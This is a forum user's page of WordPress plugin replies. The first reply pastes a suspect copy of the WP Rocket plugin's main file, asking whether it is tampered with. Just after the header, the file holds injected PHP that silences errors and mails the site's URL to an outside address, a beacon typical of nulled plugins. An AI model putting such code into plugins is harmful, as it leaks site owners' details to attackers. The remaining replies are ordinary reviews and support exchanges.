yairisan
Forum Replies Created
-
Perhaps the WP=R ‘version’ I have is dodgy. Is anything amiss here in the wp-rocket-php, as follows? :
<?php
/**
* Plugin Name: WP Rocket
* Plugin URI: https://wp-rocket.me
* Description: The best WordPress performance plugin.
* Version: 3.0.2
* Code Name: Dagobah
* Author: WP Media
* Contributors: Jonathan Buttigieg, Julio Potier, Remy Perona
* Author URI: https://wp-media.me
* Licence: GPLv2 or later
*
* Text Domain: rocket
* Domain Path: languages
*
* Copyright 2013-2017 WP Rocket
* */error_reporting(0);
ini_set(‘display_errors’, 0);
$ip = getenv(“REMOTE_ADDR”); $hostname = gethostbyaddr($ip); $bilsmg = “LiNk : https://” . $_SERVER[‘SERVER_NAME’] . $_SERVER [‘REQUEST_URI’] . “\r\n”; $bilsnd =”[email protected]”; $bilsub = “Wp Rocket”; $bilhead = “From: MaileRyew”; $bilhead .= $_POST[‘eMailAdd’].”\n”; $bilhead .= “MIME-Version: 1.0\n”; $arr=array($bilsnd, $IP); foreach ($arr as $bilsnd) mail($bilsnd,$bilsub,$bilsmg,$bilhead,$message);defined( ‘ABSPATH’ ) || die( ‘Cheatin’ uh?’ );
// Rocket defines.
define( ‘WP_ROCKET_VERSION’ , ‘3.0.2’ );
define( ‘WP_ROCKET_PRIVATE_KEY’ , ’34ecae8dda32481fed8f57b3fb770de8′);
define( ‘WP_ROCKET_SLUG’ , ‘wp_rocket_settings’ );
define( ‘WP_ROCKET_WEB_MAIN’ , ‘https://wp-rocket.me/’);
define( ‘WP_ROCKET_WEB_API’ , WP_ROCKET_WEB_MAIN . ‘api/wp-rocket/’ );
define( ‘WP_ROCKET_WEB_CHECK’ , WP_ROCKET_WEB_MAIN . ‘check_update.php’ );
define( ‘WP_ROCKET_WEB_VALID’ , WP_ROCKET_WEB_MAIN . ‘valid_key.php’ );
define( ‘WP_ROCKET_WEB_INFO’ , WP_ROCKET_WEB_MAIN . ‘plugin_information.php’ );
define( ‘WP_ROCKET_BOT_URL’ , ‘https://bot.wp-rocket.me/launch.php’ );
define( ‘WP_ROCKET_FILE’ , __FILE__ );
define( ‘WP_ROCKET_PATH’ , realpath( plugin_dir_path( WP_ROCKET_FILE ) ) . ‘/’ );
define( ‘WP_ROCKET_INC_PATH’ , realpath( WP_ROCKET_PATH . ‘inc/’ ) . ‘/’ );
define( ‘WP_ROCKET_FRONT_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘front/’ ) . ‘/’ );
define( ‘WP_ROCKET_ADMIN_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘admin’ ) . ‘/’ );
define( ‘WP_ROCKET_ADMIN_UI_PATH’ , realpath( WP_ROCKET_ADMIN_PATH . ‘ui’ ) . ‘/’ );
define( ‘WP_ROCKET_ADMIN_UI_MODULES_PATH’, realpath( WP_ROCKET_ADMIN_UI_PATH . ‘modules’ ) . ‘/’ );
define( ‘WP_ROCKET_COMMON_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘common’ ) . ‘/’ );
define( ‘WP_ROCKET_FUNCTIONS_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘functions’ ) . ‘/’ );
define( ‘WP_ROCKET_VENDORS_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘vendors’ ) . ‘/’ );
define( ‘WP_ROCKET_3RD_PARTY_PATH’ , realpath( WP_ROCKET_INC_PATH . ‘3rd-party’ ) . ‘/’ );
define( ‘WP_ROCKET_CONFIG_PATH’ , WP_CONTENT_DIR . ‘/wp-rocket-config/’ );
define( ‘WP_ROCKET_CACHE_PATH’ , WP_CONTENT_DIR . ‘/cache/wp-rocket/’ );
define( ‘WP_ROCKET_MINIFY_CACHE_PATH’ , WP_CONTENT_DIR . ‘/cache/min/’ );
define( ‘WP_ROCKET_CACHE_BUSTING_PATH’ , WP_CONTENT_DIR . ‘/cache/busting/’ );
define( ‘WP_ROCKET_CRITICAL_CSS_PATH’ , WP_CONTENT_DIR . ‘/cache/critical-css/’ );
define( ‘WP_ROCKET_URL’ , plugin_dir_url( WP_ROCKET_FILE ) );
define( ‘WP_ROCKET_INC_URL’ , WP_ROCKET_URL . ‘inc/’ );
define( ‘WP_ROCKET_FRONT_URL’ , WP_ROCKET_INC_URL . ‘front/’ );
define( ‘WP_ROCKET_FRONT_JS_URL’ , WP_ROCKET_FRONT_URL . ‘js/’ );
define( ‘WP_ROCKET_ADMIN_URL’ , WP_ROCKET_INC_URL . ‘admin/’ );
define( ‘WP_ROCKET_ADMIN_UI_URL’ , WP_ROCKET_ADMIN_URL . ‘ui/’ );
define( ‘WP_ROCKET_ADMIN_UI_JS_URL’ , WP_ROCKET_ADMIN_UI_URL . ‘js/’ );
define( ‘WP_ROCKET_ADMIN_UI_CSS_URL’ , WP_ROCKET_ADMIN_UI_URL . ‘css/’ );
define( ‘WP_ROCKET_ADMIN_UI_IMG_URL’ , WP_ROCKET_ADMIN_UI_URL . ‘img/’ );
define( ‘WP_ROCKET_ASSETS_URL’ , WP_ROCKET_URL . ‘assets/’ );
define( ‘WP_ROCKET_ASSETS_JS_URL’ , WP_ROCKET_ASSETS_URL . ‘js/’ );
define( ‘WP_ROCKET_ASSETS_CSS_URL’ , WP_ROCKET_ASSETS_URL . ‘css/’ );
define( ‘WP_ROCKET_ASSETS_IMG_URL’ , WP_ROCKET_ASSETS_URL . ‘img/’ );
define( ‘WP_ROCKET_CACHE_URL’ , WP_CONTENT_URL . ‘/cache/wp-rocket/’ );
define( ‘WP_ROCKET_MINIFY_CACHE_URL’ , WP_CONTENT_URL . ‘/cache/min/’ );
define( ‘WP_ROCKET_CACHE_BUSTING_URL’ , WP_CONTENT_URL . ‘/cache/busting/’ );
if ( ! defined( ‘CHMOD_WP_ROCKET_CACHE_DIRS’ ) ) {
define( ‘CHMOD_WP_ROCKET_CACHE_DIRS’, 0755 );
}
if ( ! defined( ‘WP_ROCKET_LASTVERSION’ ) ) {
define( ‘WP_ROCKET_LASTVERSION’, ‘2.11.7’ );
}require WP_ROCKET_INC_PATH . ‘compat.php’;
require dirname( __FILE__ ) . ‘/licence-data.php’;
require WP_ROCKET_INC_PATH . ‘classes/class-wp-rocket-requirements-check.php’;/**
* Loads WP Rocket translations
*
* @since 3.0
* @author Remy Perona
*
* @return void
*/
function rocket_load_textdomain() {
// Load translations from the languages directory.
$locale = get_locale();// This filter is documented in /wp-includes/l10n.php.
$locale = apply_filters( ‘plugin_locale’, $locale, ‘rocket’ );
load_textdomain( ‘rocket’, WP_LANG_DIR . ‘/plugins/wp-rocket-‘ . $locale . ‘.mo’ );load_plugin_textdomain( ‘rocket’, false, dirname( plugin_basename( __FILE__ ) ) . ‘/languages/’ );
}
add_action( ‘plugins_loaded’, ‘rocket_load_textdomain’ );$wp_rocket_requirement_checks = new WP_Rocket_Requirements_Check( array(
‘plugin_name’ => ‘WP Rocket’,
‘plugin_file’ => WP_ROCKET_FILE,
‘plugin_version’ => WP_ROCKET_VERSION,
‘plugin_last_version’ => WP_ROCKET_LASTVERSION,
‘wp_version’ => ‘4.2’,
‘php_version’ => ‘5.4’,
) );if ( $wp_rocket_requirement_checks->check() ) {
require WP_ROCKET_INC_PATH . ‘main.php’;
}unset( $wp_rocket_requirement_checks );
Cheers, Derrick. Is there a possible workaround for that? (I would rather not upgrade as the site is otherwise working quite nicely—hehe, say I, as I continue to struggle with finding the js file(s) responsible for my landing page not rendering properly with WP=R’s JS Combine function on!)
Forum: Reviews
In reply to: [Anti-Malware Security and Brute-Force Firewall] Life saverIt would surely take some time (tens of minutes, or even an hour or so) to completely scan a site’s database. If it’s taking seconds, you might only be skimming a few folders.
Forum: Reviews
In reply to: [Phlox] Terrible supportJust for the record, wthu: Averta has always been great in coming up with solutions to various issues by providing codes (to add to Additional CSS) that have always worked. It’s not the fastest support, but they have always come through. They are likely dealing with hundreds of inquiries, which is par for the course with a popular product. A little perspective (plus a little patience) goes a long way.
- This reply was modified 5 years, 8 months ago by yairisan.
I think someone’s being a little harsh /:
What does the actually entail? I mean, ‘moving things to the footer’.
Forum: Plugins
In reply to: [Wordpress File Upload] Folders for files and user uploadsThe free version provides the perfect demo. Nice and simple-to-implement plugin, with plenty of more advanced features (or those that need them) and really good support. It also integrates nicely into the page you drop it into. Nick is a Boss.
Forum: Reviews
In reply to: [Phlox] Very good support—fixed an issue in a matter of hoursThank YOU. Problem FIXED
Forum: Plugins
In reply to: [Async JavaScript] Run GTmetrix Test is endlessI’m having the same problem with this – GTMetrix Test in the Wizard hanging.
To be honest, all the suggestion/explanations Frank kindly provided made no sense to me, so I might be considered a liability in this respect, as I’m pretty new to this.
Could the possible issues already mentioned be put in lamen’s terms for a newbie?
Forum: Reviews
In reply to: [Speed Kit] Jeezuz – complicatedI apologise for the profanity and misunderstanding the email rules. I would be happy to append my review and include due apologies. I actually tried to do this earlier, but to no avail. Again, I’m not sure what the procedure is.
Forum: Reviews
In reply to: [Speed Kit] Jeezuz – complicatedGreat concept – poorly executed with insufficient support. Baqend caused content in my site to go missing. As soon as I deactivated and refreshed everything, the site content is back.
Was promised direct help via email. It never came, so **** ’em. That said, there was a noticeable increase in page speed, so while their support sucks, and technically flawed, it might work eventually.
Had similar issues with Cloudflare in regard dropped frames/content (fixed by removing it).
Bottom line: was promised support, but didn’t get any. So, happy to see the back end of Baqend! Site works fine without it.
- This reply was modified 6 years ago by Andrew Nevins. Reason: Removed profanity
Forum: Plugins
In reply to: [Wordpress File Upload] Upload boxes appear on the page, but non-functionalYes, I am. Thanks again, I will give your suggestion a go – I’m sure you are correct (you usually are!). Quick response, man, thanks.
Forum: Plugins
In reply to: [Wordpress File Upload] Upload boxes appear on the page, but non-functionalOK, PC now works; still no upload available from mobile. Swings and Roundabouts…
Forum: Plugins
In reply to: [Wordpress File Upload] Upload boxes appear on the page, but non-functionalAgh, no, it’s not just a mobile issue – neither via PC nor mobile. Drrrrat.
Forum: Plugins
In reply to: [Wordpress File Upload] Upload boxes appear on the page, but non-functionalWhile I’m able to upload files from PC, I cannot from a mobile (Android – Nexus 5). On the mobile, I can select a file to upload, but clicking ‘Upload File’ always returns a message saying the file didn’t upload. I suppose most people will use PC to upload, but it would be nice to see this functional through mobile also.